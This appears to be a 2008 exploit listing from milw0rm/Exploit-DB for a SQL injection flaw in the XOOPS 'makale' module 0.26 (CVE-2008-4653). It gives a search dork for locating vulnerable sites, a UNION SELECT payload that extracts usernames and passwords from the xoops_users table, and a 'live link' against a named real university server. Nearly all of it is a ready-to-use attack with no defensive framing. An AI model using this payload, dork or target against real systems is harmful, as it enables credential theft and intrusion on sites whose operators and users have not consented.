XOOPS Module makale 0.26 - SQL Injection

Author: EcHoLL
type: webapps
platform: php
port: 
date_added: 2008-10-19 
date_updated: 2016-12-29 
verified: 1 
codes: OSVDB-49211;CVE-2008-4653 
tags: 
aliases:  
screenshot_url:  
application_url: 

##########################################
#
# XOOPS Module:  makale
#
#
##########################################
#
##AUTHOR : EcHoLL
####HOME : http://www.warezturk.org
#
####MAÄ°L : echoll1983@hotmail.com
#
###########################################
#
# DORKS 1 : dork: /modules/makale/
###########################################

target: scriptpage.com/modules/makale/makale.php?id= [sql Code]

Sql code: 15+UNION+SELECT+0,1,2,3,uname,5,pass,7,8,9,10,11,12,13,14,15,16,17,18,19+from+xoops_users--

live link: http://stu.inonu.edu.tr/~usit/modules/makale/makale.php?id=10+UNION+SELECT+0,1,2,3,database(),5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19--

# milw0rm.com [2008-10-20]